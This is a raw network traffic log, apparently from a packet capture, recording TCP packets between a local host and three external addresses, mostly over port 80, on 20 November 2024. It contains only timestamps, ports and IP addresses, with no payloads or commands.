Nov 20, 2024 16:50:57.685601950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.685637951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.686455011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.686580896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.686621904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.687350988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.687398911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.687462091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.687495947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.688285112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.688329935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.688405991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.688441038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.689191103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.689250946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.689304113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.689337969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.690090895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.690136909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.690275908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.690329075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.691083908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.691128016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.691131115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.691164017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.691932917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.691981077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.691989899 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.692023993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.692874908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.692926884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.692929029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.692965984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.693793058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.693840027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.693896055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.693932056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.698395967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698409081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698421001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698437929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698450089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698456049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.698465109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.698491096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.698506117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.699155092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.699301004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.699348927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.700253963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.700264931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.700305939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.700331926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.701224089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.701236010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.701265097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.701278925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.702234983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.702272892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.702425957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.702466965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.703212976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.703226089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.703254938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.703268051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.704027891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.704040051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.704080105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.704812050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.704823017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.704862118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.705537081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.705688953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.705724955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.705764055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.706675053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.706686974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.706723928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.707494020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.707556963 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.707684994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.707731009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.708349943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.708362103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.708404064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.709275961 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.709414005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.709465981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.710217953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.710230112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.710266113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.711103916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.711116076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.711242914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.712037086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.712085009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.737097979 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.737133026 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.737168074 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.737195015 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.737217903 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.737234116 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.765619040 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.765654087 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.765698910 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.765717983 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.765753031 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.765773058 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.787580013 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.787605047 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.787787914 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.787806988 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.787854910 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.832530975 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.832565069 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.832636118 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.832673073 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.832699060 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.832720041 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.856270075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.856306076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.856338024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.856378078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.856637955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.856683969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.856724024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.856798887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.857778072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.857884884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.857908010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.857949018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.858555079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.858568907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.858623028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.859395981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.859646082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.859704018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.860394001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.860455036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.860533953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.860574961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.861228943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.861288071 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.861490011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.861531973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.862155914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.862262011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.862323046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.863111973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.863154888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.863231897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.863337994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.864299059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.864363909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.864809990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.864887953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.865242004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.865308046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.865428925 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.865526915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.865957022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.866008997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.866178989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.866233110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.866795063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.866808891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.866842031 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.866859913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.868052006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.868108034 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.868299007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.868345976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.868833065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.868901014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.868901968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.868944883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.869664907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.869739056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.869812012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.869851112 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.870568991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.871422052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.871501923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.871659040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.871674061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.871731043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.872629881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.872703075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.873246908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.873364925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.873965979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.873980999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.874043941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.875145912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.875210047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.875354052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.875709057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.876302004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.876338959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.876749992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.876807928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.877120018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.877135038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.877175093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.878036022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.878078938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.878454924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.878495932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.878923893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.878982067 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.879142046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.879187107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.879743099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.879790068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.880390882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.880582094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.880764008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.880804062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.881078005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.881134033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.881369114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.881547928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.881752968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.881799936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.882260084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.882311106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.882477999 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.882524014 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.883358955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.883372068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.883424997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.883950949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.884021044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.884136915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.884212971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.884888887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.884943008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.884953976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.884991884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.885885000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.885926962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.886025906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.886064053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.886518002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.886662006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.886691093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.887017965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.887191057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.887237072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.887631893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.887692928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.887918949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.887932062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.887963057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.887985945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.888844967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.888894081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.889775038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.889786959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.889799118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.889823914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.889843941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.890642881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.890697956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.891470909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.891522884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.891582966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.891621113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.891772985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.892622948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.892679930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.892750978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.893464088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.893480062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.893522024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.893537998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.894351006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.894365072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.894419909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.895369053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.895438910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.895500898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.896197081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.896543026 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.896614075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.897094011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.897145033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.898051977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.898068905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.898118973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.898156881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.898933887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.898986101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.899035931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.899076939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.899931908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.900005102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.900005102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.900158882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.900790930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.901266098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.901325941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.901757956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.902031898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.902082920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.902640104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.902654886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.902702093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.903970957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.904166937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.904196978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.904211044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.904551983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.904658079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.937751055 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.937802076 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.937834978 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.937860012 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.937886953 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.937902927 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.938492060 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.938539982 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.938760996 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:57.938817024 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.938842058 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:57.978534937 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:57.978943110 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:57.978965998 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:57.979381084 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:57.979682922 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:57.979746103 CET	443	49801	184.28.190.187	192.168.2.9
Nov 20, 2024 16:50:58.022506952 CET	49801	443	192.168.2.9	184.28.190.187
Nov 20, 2024 16:50:58.051752090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.051814079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.051934004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.052037001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.052202940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.052216053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.052262068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.053137064 CET	80	49752	185.215.113.206	192.168.2.9
